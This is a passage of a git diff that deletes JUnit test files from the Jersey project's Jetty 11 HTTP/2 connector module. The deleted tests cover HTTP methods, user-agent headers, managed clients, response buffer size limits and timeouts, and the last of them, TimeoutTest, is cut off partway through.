-import static org.junit.jupiter.api.Assertions.assertTrue;
-
-
-/**
- * Tests the HTTP2 presence.
- *
- */
-public class Http2PresenceTest extends JerseyTest {
-
-    private static final Logger LOGGER = Logger.getLogger(Http2PresenceTest.class.getName());
-
-    @Path("/test")
-    public static class HttpMethodResource {
-        @POST
-        public String post(
-                @HeaderParam("Transfer-Encoding") String transferEncoding,
-                @HeaderParam("X-CLIENT") String xClient,
-                @HeaderParam("X-WRITER") String xWriter,
-                String entity) {
-            assertEquals("client", xClient);
-            return "POST";
-        }
-
-        @GET
-        public String testUserAgent(@Context HttpHeaders httpHeaders) {
-            final List<String> requestHeader = httpHeaders.getRequestHeader(HttpHeaders.USER_AGENT);
-            if (requestHeader.size() != 1) {
-                return "FAIL";
-            }
-            return requestHeader.get(0);
-        }
-    }
-
-    @Override
-    protected Application configure() {
-        ResourceConfig config = new ResourceConfig(HttpMethodResource.class);
-        config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
-        return config;
-    }
-
-    @Override
-    protected void configureClient(ClientConfig config) {
-        config.connectorProvider(new JettyHttp2ConnectorProvider());
-    }
-
-    @Test
-    public void testPost() {
-        Response response = target().path("test").request().header("X-CLIENT", "client").post(null);
-
-        assertEquals(200, response.getStatus());
-        assertTrue(response.hasEntity());
-    }
-
-    @Test
-    public void testHttp2Presence() {
-        final ConnectorProvider provider = ((ClientConfig) target().getConfiguration()).getConnectorProvider();
-        assertTrue(provider instanceof JettyHttp2ConnectorProvider);
-
-        final HttpClient client = ((JettyHttp2ConnectorProvider) provider).getHttpClient(target());
-        assertTrue(client.getTransport() instanceof HttpClientTransportOverHTTP2);
-    }
-
-    /**
-     * Test, that {@code User-agent} header is as set by Jersey, not by underlying Jetty client.
-     */
-    @Test
-    public void testUserAgent() {
-        String response = target().path("test").request().get(String.class);
-        assertTrue(response.startsWith("Jersey"), "User-agent header should start with 'Jersey', but was " + response);
-    }
-}
diff --git a/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/HttpHeadersTest.java b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/HttpHeadersTest.java
deleted file mode 100644
index cb3b319..0000000
--- a/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/HttpHeadersTest.java
+++ /dev/null
@@ -1,93 +0,0 @@
-/*
- * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.jetty.http2.connector;
-
-import org.glassfish.jersey.client.ClientConfig;
-import org.glassfish.jersey.logging.LoggingFeature;
-import org.glassfish.jersey.server.ResourceConfig;
-import org.glassfish.jersey.test.JerseyTest;
-import org.junit.jupiter.api.Test;
-
-import jakarta.ws.rs.GET;
-import jakarta.ws.rs.HeaderParam;
-import jakarta.ws.rs.POST;
-import jakarta.ws.rs.Path;
-import jakarta.ws.rs.core.Application;
-import jakarta.ws.rs.core.Context;
-import jakarta.ws.rs.core.HttpHeaders;
-import jakarta.ws.rs.core.Response;
-import java.util.List;
-import java.util.logging.Logger;
-
-import static org.junit.jupiter.api.Assertions.assertEquals;
-import static org.junit.jupiter.api.Assertions.assertTrue;
-
-public class HttpHeadersTest extends JerseyTest {
-
-    private static final Logger LOGGER = Logger.getLogger(HttpHeadersTest.class.getName());
-
-    @Path("/test")
-    public static class HttpMethodResource {
-        @POST
-        public String post(
-                @HeaderParam("Transfer-Encoding") String transferEncoding,
-                @HeaderParam("X-CLIENT") String xClient,
-                @HeaderParam("X-WRITER") String xWriter,
-                String entity) {
-            assertEquals("client", xClient);
-            return "POST";
-        }
-
-        @GET
-        public String testUserAgent(@Context HttpHeaders httpHeaders) {
-            final List<String> requestHeader = httpHeaders.getRequestHeader(HttpHeaders.USER_AGENT);
-            if (requestHeader.size() != 1) {
-                return "FAIL";
-            }
-            return requestHeader.get(0);
-        }
-    }
-
-    @Override
-    protected Application configure() {
-        ResourceConfig config = new ResourceConfig(HttpMethodResource.class);
-        config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
-        return config;
-    }
-
-    @Override
-    protected void configureClient(ClientConfig config) {
-        config.connectorProvider(new JettyHttp2ConnectorProvider());
-    }
-
-    @Test
-    public void testPost() {
-        Response response = target().path("test").request().header("X-CLIENT", "client").post(null);
-
-        assertEquals(200, response.getStatus());
-        assertTrue(response.hasEntity());
-    }
-
-    /**
-     * Test, that {@code User-agent} header is as set by Jersey, not by underlying Jetty client.
-     */
-    @Test
-    public void testUserAgent() {
-        String response = target().path("test").request().get(String.class);
-        assertTrue(response.startsWith("Jersey"), "User-agent header should start with 'Jersey', but was " + response);
-    }
-}
\ No newline at end of file
diff --git a/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/ManagedClientTest.java b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/ManagedClientTest.java
deleted file mode 100644
index 215408b..0000000
--- a/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/ManagedClientTest.java
+++ /dev/null
@@ -1,250 +0,0 @@
-/*
- * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.jetty.http2.connector;
-
-import org.glassfish.jersey.client.ClientConfig;
-import org.glassfish.jersey.logging.LoggingFeature;
-import org.glassfish.jersey.server.ClientBinding;
-import org.glassfish.jersey.server.ResourceConfig;
-import org.glassfish.jersey.server.Uri;
-import org.glassfish.jersey.test.JerseyTest;
-import org.junit.jupiter.api.Test;
-
-import jakarta.ws.rs.GET;
-import jakarta.ws.rs.Path;
-import jakarta.ws.rs.Produces;
-import jakarta.ws.rs.client.ClientRequestContext;
-import jakarta.ws.rs.client.ClientRequestFilter;
-import jakarta.ws.rs.client.WebTarget;
-import jakarta.ws.rs.container.ContainerRequestContext;
-import jakarta.ws.rs.container.ContainerRequestFilter;
-import jakarta.ws.rs.container.DynamicFeature;
-import jakarta.ws.rs.container.ResourceInfo;
-import jakarta.ws.rs.core.Application;
-import jakarta.ws.rs.core.FeatureContext;
-import jakarta.ws.rs.core.MediaType;
-import jakarta.ws.rs.core.Response;
-import java.io.IOException;
-import java.lang.annotation.Documented;
-import java.lang.annotation.ElementType;
-import java.lang.annotation.Retention;
-import java.lang.annotation.RetentionPolicy;
-import java.lang.annotation.Target;
-import java.util.logging.Logger;
-
-import static org.junit.jupiter.api.Assertions.assertEquals;
-
-public class ManagedClientTest extends JerseyTest {
-
-    private static final Logger LOGGER = Logger.getLogger(ManagedClientTest.class.getName());
-
-    /**
-     * Managed client configuration for client A.
-     */
-    @ClientBinding(configClass = MyClientAConfig.class)
-    @Documented
-    @Retention(RetentionPolicy.RUNTIME)
-    @Target({ElementType.FIELD, ElementType.PARAMETER})
-    public static @interface ClientA {
-    }
-
-    /**
-     * Managed client configuration for client B.
-     */
-    @ClientBinding(configClass = MyClientBConfig.class)
-    @Documented
-    @Retention(RetentionPolicy.RUNTIME)
-    @Target({ElementType.FIELD, ElementType.PARAMETER})
-    public @interface ClientB {
-    }
-
-    /**
-     * Dynamic feature that appends a properly configured {@link CustomHeaderFilter} instance
-     * to every method that is annotated with {@link Require &#64;Require} internal feature
-     * annotation.
-     */
-    public static class CustomHeaderFeature implements DynamicFeature {
-
-        /**
-         * A method annotation to be placed on those resource methods to which a validating
-         * {@link CustomHeaderFilter} instance should be added.
-         */
-        @Retention(RetentionPolicy.RUNTIME)
-        @Documented
-        @Target(ElementType.METHOD)
-        public static @interface Require {
-
-            /**
-             * Expected custom header name to be validated by the {@link CustomHeaderFilter}.
-             */
-            public String headerName();
-
-            /**
-             * Expected custom header value to be validated by the {@link CustomHeaderFilter}.
-             */
-            public String headerValue();
-        }
-
-        @Override
-        public void configure(ResourceInfo resourceInfo, FeatureContext context) {
-            final Require va = resourceInfo.getResourceMethod().getAnnotation(Require.class);
-            if (va != null) {
-                context.register(new CustomHeaderFilter(va.headerName(), va.headerValue()));
-            }
-        }
-    }
-
-    /**
-     * A filter for appending and validating custom headers.
-     * <p>
-     * On the client side, appends a new custom request header with a configured name and value to each outgoing request.
-     * </p>
-     * <p>
-     * On the server side, validates that each request has a custom header with a configured name and value.
-     * If the validation fails a HTTP 403 response is returned.
-     * </p>
-     */
-    public static class CustomHeaderFilter implements ContainerRequestFilter, ClientRequestFilter {
-
-        private final String headerName;
-        private final String headerValue;
-
-        public CustomHeaderFilter(String headerName, String headerValue) {
-            if (headerName == null || headerValue == null) {
-                throw new IllegalArgumentException("Header name and value must not be null.");
-            }
-            this.headerName = headerName;
-            this.headerValue = headerValue;
-        }
-
-        @Override
-        public void filter(ContainerRequestContext ctx) throws IOException { // validate
-            if (!headerValue.equals(ctx.getHeaderString(headerName))) {
-                ctx.abortWith(Response.status(Response.Status.FORBIDDEN)
-                        .type(MediaType.TEXT_PLAIN)
-                        .entity(String
-                                .format("Expected header '%s' not present or value not equal to '%s'", headerName, headerValue))
-                        .build());
-            }
-        }
-
-        @Override
-        public void filter(ClientRequestContext ctx) throws IOException { // append
-            ctx.getHeaders().putSingle(headerName, headerValue);
-        }
-    }
-
-    /**
-     * Internal resource accessed from the managed client resource.
-     */
-    @Path("internal")
-    public static class InternalResource {
-
-        @GET
-        @Path("a")
-        @CustomHeaderFeature.Require(headerName = "custom-header", headerValue = "a")
-        public String getA() {
-            return "a";
-        }
-
-        @GET
-        @Path("b")
-        @CustomHeaderFeature.Require(headerName = "custom-header", headerValue = "b")
-        public String getB() {
-            return "b";
-        }
-    }
-
-    /**
-     * A resource that uses managed clients to retrieve values of internal
-     * resources 'A' and 'B', which are protected by a {@link CustomHeaderFilter}
-     * and require a specific custom header in a request to be set to a specific value.
-     * <p>
-     * Properly configured managed clients have a {@code CustomHeaderFilter} instance
-     * configured to insert the {@link CustomHeaderFeature.Require required} custom header
-     * with a proper value into the outgoing client requests.
-     * </p>
-     */
-    @Path("public")
-    public static class PublicResource {
-
-        @Uri("a")
-        @ClientA // resolves to <base>/internal/a
-        private WebTarget targetA;
-
-        @GET
-        @Produces("text/plain")
-        @Path("a")
-        public String getTargetA() {
-            return targetA.request(MediaType.TEXT_PLAIN).get(String.class);
-        }
-
-        @GET
-        @Produces("text/plain")
-        @Path("b")
-        public Response getTargetB(@Uri("internal/b") @ClientB WebTarget targetB) {
-            return targetB.request(MediaType.TEXT_PLAIN).get();
-        }
-    }
-
-    @Override
-    protected Application configure() {
-        ResourceConfig config = new ResourceConfig(PublicResource.class, InternalResource.class, CustomHeaderFeature.class)
-                .property(ClientA.class.getName() + ".baseUri", this.getBaseUri().toString() + "internal");
-        config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
-        return config;
-    }
-
-    public static class MyClientAConfig extends ClientConfig {
-
-        public MyClientAConfig() {
-            this.register(new CustomHeaderFilter("custom-header", "a"));
-        }
-    }
-
-    public static class MyClientBConfig extends ClientConfig {
-
-        public MyClientBConfig() {
-            this.register(new CustomHeaderFilter("custom-header", "b"));
-        }
-    }
-
-    @Override
-    protected void configureClient(ClientConfig config) {
-        config.connectorProvider(new JettyHttp2ConnectorProvider());
-    }
-
-    /**
-     * Test that a connection via managed clients works properly.
-     *
-     * @throws Exception in case of test failure.
-     */
-    @Test
-    public void testManagedClient() throws Exception {
-        final WebTarget resource = target().path("public").path("{name}");
-        Response response;
-
-        response = resource.resolveTemplate("name", "a").request(MediaType.TEXT_PLAIN).get();
-        assertEquals(200, response.getStatus());
-        assertEquals("a", response.readEntity(String.class));
-
-        response = resource.resolveTemplate("name", "b").request(MediaType.TEXT_PLAIN).get();
-        assertEquals(200, response.getStatus());
-        assertEquals("b", response.readEntity(String.class));
-    }
-
-}
\ No newline at end of file
diff --git a/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/MethodTest.java b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/MethodTest.java
deleted file mode 100644
index 8412c41..0000000
--- a/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/MethodTest.java
+++ /dev/null
@@ -1,146 +0,0 @@
-/*
- * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.jetty.http2.connector;
-
-import org.glassfish.jersey.client.ClientConfig;
-import org.glassfish.jersey.logging.LoggingFeature;
-import org.glassfish.jersey.server.ResourceConfig;
-import org.glassfish.jersey.test.JerseyTest;
-import org.junit.jupiter.api.Test;
-
-import jakarta.ws.rs.DELETE;
-import jakarta.ws.rs.GET;
-import jakarta.ws.rs.PATCH;
-import jakarta.ws.rs.POST;
-import jakarta.ws.rs.PUT;
-import jakarta.ws.rs.Path;
-import jakarta.ws.rs.client.Entity;
-import jakarta.ws.rs.core.Application;
-import jakarta.ws.rs.core.MediaType;
-import jakarta.ws.rs.core.Response;
-import java.util.concurrent.ExecutionException;
-import java.util.logging.Logger;
-
-import static org.junit.jupiter.api.Assertions.assertEquals;
-
-public class MethodTest extends JerseyTest {
-
-    private static final Logger LOGGER = Logger.getLogger(MethodTest.class.getName());
-
-    private static final String PATH = "test";
-
-    @Path("/test")
-    public static class HttpMethodResource {
-        @GET
-        public String get() {
-            return "GET";
-        }
-
-        @POST
-        public String post(String entity) {
-            return entity;
-        }
-
-        @PUT
-        public String put(String entity) {
-            return entity;
-        }
-
-        @PATCH
-        public String patch(String entity) {
-            return entity;
-        }
-
-        @DELETE
-        public String delete() {
-            return "DELETE";
-        }
-    }
-
-    @Override
-    protected Application configure() {
-        ResourceConfig config = new ResourceConfig(HttpMethodResource.class);
-        config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
-        return config;
-    }
-
-    @Override
-    protected void configureClient(ClientConfig config) {
-        config.connectorProvider(new JettyHttp2ConnectorProvider());
-    }
-
-    @Test
-    public void testGet() {
-        Response response = target(PATH).request().get();
-        assertEquals("GET", response.readEntity(String.class));
-    }
-
-    @Test
-    public void testGetAsync() throws ExecutionException, InterruptedException {
-        Response response = target(PATH).request().async().get().get();
-        assertEquals("GET", response.readEntity(String.class));
-    }
-
-    @Test
-    public void testPost() {
-        Response response = target(PATH).request().post(Entity.entity("POST", MediaType.TEXT_PLAIN));
-        assertEquals("POST", response.readEntity(String.class));
-    }
-
-    @Test
-    public void testPostAsync() throws ExecutionException, InterruptedException {
-        Response response = target(PATH).request().async().post(Entity.entity("POST", MediaType.TEXT_PLAIN)).get();
-        assertEquals("POST", response.readEntity(String.class));
-    }
-
-    @Test
-    public void testPut() {
-        Response response = target(PATH).request().put(Entity.entity("PUT", MediaType.TEXT_PLAIN));
-        assertEquals("PUT", response.readEntity(String.class));
-    }
-
-    @Test
-    public void testPutAsync() throws ExecutionException, InterruptedException {
-        Response response = target(PATH).request().async().put(Entity.entity("PUT", MediaType.TEXT_PLAIN)).get();
-        assertEquals("PUT", response.readEntity(String.class));
-    }
-
-    @Test
-    public void testDelete() {
-        Response response = target(PATH).request().delete();
-        assertEquals("DELETE", response.readEntity(String.class));
-    }
-
-    @Test
-    public void testDeleteAsync() throws ExecutionException, InterruptedException {
-        Response response = target(PATH).request().async().delete().get();
-        assertEquals("DELETE", response.readEntity(String.class));
-    }
-
-    @Test
-    public void testPatch() {
-        Response response = target(PATH).request().method("PATCH", Entity.entity("PATCH", MediaType.TEXT_PLAIN));
-        assertEquals("PATCH", response.readEntity(String.class));
-    }
-
-    @Test
-    public void testOptionsWithEntity() {
-        Response response = target(PATH).request().build("OPTIONS", Entity.text("OPTIONS")).invoke();
-        assertEquals(200, response.getStatus());
-        response.close();
-    }
-}
\ No newline at end of file
diff --git a/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/NoEntityTest.java b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/NoEntityTest.java
deleted file mode 100644
index 1c14296..0000000
--- a/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/NoEntityTest.java
+++ /dev/null
@@ -1,95 +0,0 @@
-/*
- * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.jetty.http2.connector;
-
-import org.glassfish.jersey.client.ClientConfig;
-import org.glassfish.jersey.logging.LoggingFeature;
-import org.glassfish.jersey.server.ResourceConfig;
-import org.glassfish.jersey.test.JerseyTest;
-import org.junit.jupiter.api.Test;
-
-import jakarta.ws.rs.GET;
-import jakarta.ws.rs.POST;
-import jakarta.ws.rs.Path;
-import jakarta.ws.rs.client.WebTarget;
-import jakarta.ws.rs.core.Application;
-import jakarta.ws.rs.core.Response;
-import java.util.logging.Logger;
-
-public class NoEntityTest extends JerseyTest {
-    private static final Logger LOGGER = Logger.getLogger(NoEntityTest.class.getName());
-
-    @Path("/test")
-    public static class HttpMethodResource {
-        @GET
-        public Response get() {
-            return Response.status(Response.Status.CONFLICT).build();
-        }
-
-        @POST
-        public void post(String entity) {
-        }
-    }
-
-    @Override
-    protected Application configure() {
-        ResourceConfig config = new ResourceConfig(HttpMethodResource.class);
-        config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
-        return config;
-    }
-
-    @Override
-    protected void configureClient(ClientConfig config) {
-        config.connectorProvider(new JettyHttp2ConnectorProvider());
-    }
-
-    @Test
-    public void testGet() {
-        WebTarget r = target("test");
-
-        for (int i = 0; i < 5; i++) {
-            Response cr = r.request().get();
-            cr.close();
-        }
-    }
-
-    @Test
-    public void testGetWithClose() {
-        WebTarget r = target("test");
-        for (int i = 0; i < 5; i++) {
-            Response cr = r.request().get();
-            cr.close();
-        }
-    }
-
-    @Test
-    public void testPost() {
-        WebTarget r = target("test");
-        for (int i = 0; i < 5; i++) {
-            Response cr = r.request().post(null);
-        }
-    }
-
-    @Test
-    public void testPostWithClose() {
-        WebTarget r = target("test");
-        for (int i = 0; i < 5; i++) {
-            Response cr = r.request().post(null);
-            cr.close();
-        }
-    }
-}
\ No newline at end of file
diff --git a/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/SyncResponseSizeTest.java b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/SyncResponseSizeTest.java
deleted file mode 100644
index e3b2c3d..0000000
--- a/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/SyncResponseSizeTest.java
+++ /dev/null
@@ -1,161 +0,0 @@
-/*
- * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.jetty.http2.connector;
-
-import org.glassfish.jersey.client.ClientConfig;
-import org.glassfish.jersey.client.ClientProperties;
-import org.glassfish.jersey.jetty.connector.JettyClientProperties;
-import org.glassfish.jersey.logging.LoggingFeature;
-import org.glassfish.jersey.server.ResourceConfig;
-import org.glassfish.jersey.test.JerseyTest;
-import org.junit.jupiter.api.Test;
-
-import jakarta.ws.rs.GET;
-import jakarta.ws.rs.Path;
-import jakarta.ws.rs.ProcessingException;
-import jakarta.ws.rs.client.Client;
-import jakarta.ws.rs.client.ClientBuilder;
-import jakarta.ws.rs.client.WebTarget;
-import jakarta.ws.rs.core.Application;
-import jakarta.ws.rs.core.Response;
-import java.net.URI;
-import java.util.concurrent.ExecutionException;
-import java.util.concurrent.TimeoutException;
-import java.util.logging.Logger;
-
-import static org.hamcrest.CoreMatchers.instanceOf;
-import static org.hamcrest.MatcherAssert.assertThat;
-import static org.junit.jupiter.api.Assertions.assertEquals;
-import static org.junit.jupiter.api.Assertions.assertTrue;
-import static org.junit.jupiter.api.Assertions.fail;
-
-public class SyncResponseSizeTest extends JerseyTest {
-
-    private static final Logger LOGGER = Logger.getLogger(SyncResponseSizeTest.class.getName());
-
-    private static final int maxBufferSize = 4 * 1024 * 1024; //4 MiB
-
-    @Path("/test")
-    public static class TimeoutResource {
-
-        private static final byte[] data = new byte[maxBufferSize];
-
-        static {
-            Byte b = "a".getBytes()[0];
-            for (int i = 0; i < maxBufferSize; i++) data[i] = b.byteValue();
-        }
-
-        @GET
-        @Path("/small")
-        public String getSmall() {
-            return "GET";
-        }
-
-        @GET
-        @Path("/big")
-        public String getBig() {
-            return new String(data);
-        }
-
-        @GET
-        @Path("/verybig")
-        public String getVeryBig() {
-            return new String(data) + "a";
-        }
-    }
-
-    @Override
-    protected Application configure() {
-        ResourceConfig config = new ResourceConfig(TimeoutResource.class);
-        config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
-        return config;
-    }
-
-    @Override
-    protected void configureClient(ClientConfig config) {
-        config.connectorProvider(new JettyHttp2ConnectorProvider());
-    }
-
-    @Test
-    public void testDefaultSmall() {
-        Response r = target("test/small").request().get();
-        assertEquals(200, r.getStatus());
-        assertEquals("GET", r.readEntity(String.class));
-    }
-
-    @Test
-    public void testDefaultTooBig() {
-        final URI u = target().getUri();
-        ClientConfig config = new ClientConfig().property(ClientProperties.READ_TIMEOUT, 1_000);
-        config.connectorProvider(new JettyHttp2ConnectorProvider());
-
-        Client c = ClientBuilder.newClient(config);
-        WebTarget t = c.target(u);
-        try {
-            t.path("test/big").request().get();
-            fail("Exception expected.");
-        } catch (ProcessingException e) {
-            // Buffering capacity ... exceeded.
-            assertTrue(ExecutionException.class.isInstance(e.getCause()));
-            assertTrue(IllegalArgumentException.class.isInstance(e.getCause().getCause()));
-        } finally {
-            c.close();
-        }
-    }
-
-    @Test
-    public void testCustomBig() {
-        final URI u = target().getUri();
-        ClientConfig config = new ClientConfig().property(ClientProperties.READ_TIMEOUT, 1_000);
-        config.connectorProvider(new JettyHttp2ConnectorProvider());
-        config.property(JettyClientProperties.SYNC_LISTENER_RESPONSE_MAX_SIZE, maxBufferSize);
-
-        Client c = ClientBuilder.newClient(config);
-        WebTarget t = c.target(u);
-        try {
-            Response r = t.path("test/big").request().get();
-            String p = r.readEntity(String.class);
-            assertEquals(p.length(), maxBufferSize);
-        } catch (ProcessingException e) {
-            assertThat("Unexpected processing exception cause",
-                    e.getCause(), instanceOf(TimeoutException.class));
-        } finally {
-            c.close();
-        }
-    }
-
-    @Test
-    public void testCustomTooBig() {
-        final URI u = target().getUri();
-        ClientConfig config = new ClientConfig().property(ClientProperties.READ_TIMEOUT, 1_000);
-        config.connectorProvider(new JettyHttp2ConnectorProvider());
-        config.property(JettyClientProperties.SYNC_LISTENER_RESPONSE_MAX_SIZE, maxBufferSize);
-
-        Client c = ClientBuilder.newClient(config);
-        WebTarget t = c.target(u);
-        try {
-            t.path("test/verybig").request().get();
-            fail("Exception expected.");
-        } catch (ProcessingException e) {
-            // Buffering capacity ... exceeded.
-            assertTrue(ExecutionException.class.isInstance(e.getCause()));
-            assertTrue(IllegalArgumentException.class.isInstance(e.getCause().getCause()));
-        } finally {
-            c.close();
-        }
-    }
-}
\ No newline at end of file
diff --git a/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/TimeoutTest.java b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/TimeoutTest.java
deleted file mode 100644
index 59f242e..0000000
--- a/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/TimeoutTest.java
+++ /dev/null
@@ -1,239 +0,0 @@
-/*
- * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.jetty.http2.connector;
-
-import org.glassfish.jersey.CommonProperties;
-import org.glassfish.jersey.client.ClientConfig;
-import org.glassfish.jersey.client.ClientProperties;
-import org.glassfish.jersey.jetty.connector.JettyClientProperties;
-import org.glassfish.jersey.logging.LoggingFeature;
-import org.glassfish.jersey.server.ResourceConfig;
-import org.glassfish.jersey.test.JerseyTest;
-import org.junit.jupiter.api.Test;
-
-import jakarta.ws.rs.DefaultValue;
-import jakarta.ws.rs.GET;
-import jakarta.ws.rs.Path;
-import jakarta.ws.rs.ProcessingException;
-import jakarta.ws.rs.QueryParam;
-import jakarta.ws.rs.client.Client;
-import jakarta.ws.rs.client.ClientBuilder;
-import jakarta.ws.rs.client.WebTarget;
-import jakarta.ws.rs.core.Application;
-import jakarta.ws.rs.core.Response;
-import jakarta.ws.rs.core.StreamingOutput;
-import java.net.URI;
-import java.nio.charset.StandardCharsets;
-import java.util.concurrent.TimeUnit;
-import java.util.concurrent.TimeoutException;
-import java.util.logging.Logger;
-
-import static org.hamcrest.CoreMatchers.instanceOf;
-import static org.hamcrest.MatcherAssert.assertThat;
-import static org.junit.jupiter.api.Assertions.assertEquals;
-import static org.junit.jupiter.api.Assertions.assertTrue;
-import static org.junit.jupiter.api.Assertions.fail;
-
-public class TimeoutTest extends JerseyTest {
-    private static final Logger LOGGER = Logger.getLogger(TimeoutTest.class.getName());
-
-    @Path("/test")
-    public static class TimeoutResource {
-        @GET
-        public String get() {
-            return "GET";
-        }
-
-        @GET
-        @Path("timeout")
-        public String getTimeout() {
-            try {
-                Thread.sleep(2000);
-            } catch (InterruptedException e) {
-                e.printStackTrace();
-            }
-            return "GET";
-        }
-
-        /**
-         * Long-running streaming request
-         *
-         * @param count number of packets send
-         * @param pauseMillis pause between each packets
-         */
-        @GET
-        @Path("stream")
-        public Response streamsWithDelay(@QueryParam("start") @DefaultValue("0") int startMillis, @QueryParam("count") int count,
-                                         @QueryParam("pauseMillis") int pauseMillis) {
-            StreamingOutput streamingOutput = streamSlowly(startMillis, count, pauseMillis);
-
-            return Response.ok(streamingOutput)
-                    .build();
-        }
-    }
-
-    private static StreamingOutput streamSlowly(int startMillis, int count, int pauseMillis) {
-
-        return output -> {
-            try {
-                TimeUnit.MILLISECONDS.sleep(startMillis);
-            }
-            catch (InterruptedException e) {
-                Thread.currentThread().interrupt();
-            }
-            output.write("begin\n".getBytes(StandardCharsets.UTF_8));
-            output.flush();
-            for (int i = 0; i < count; i++) {
-                try {
-                    TimeUnit.MILLISECONDS.sleep(pauseMillis);
-                }
-                catch (InterruptedException e) {
-                    Thread.currentThread().interrupt();
-                }
-
-                output.write(("message " + i + "\n").getBytes(StandardCharsets.UTF_8));
-                output.flush();
-            }
-            output.write("end".getBytes(StandardCharsets.UTF_8));
-        };
-    }
-
-    @Override
-    protected Application configure() {
-        ResourceConfig config = new ResourceConfig(TimeoutResource.class);
-        config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
-        return config;
-    }
-
-    @Override
-    protected void configureClient(ClientConfig config) {
-        config.connectorProvider(new JettyHttp2ConnectorProvider());
-    }
-
-    @Test
-    public void testFast() {
-        Response r = target("test").request().get();
-        assertEquals(200, r.getStatus());
-        assertEquals("GET", r.readEntity(String.class));
-    }
-
-    @Test
-    public void testSlow() {
-        final URI u = target().getUri();
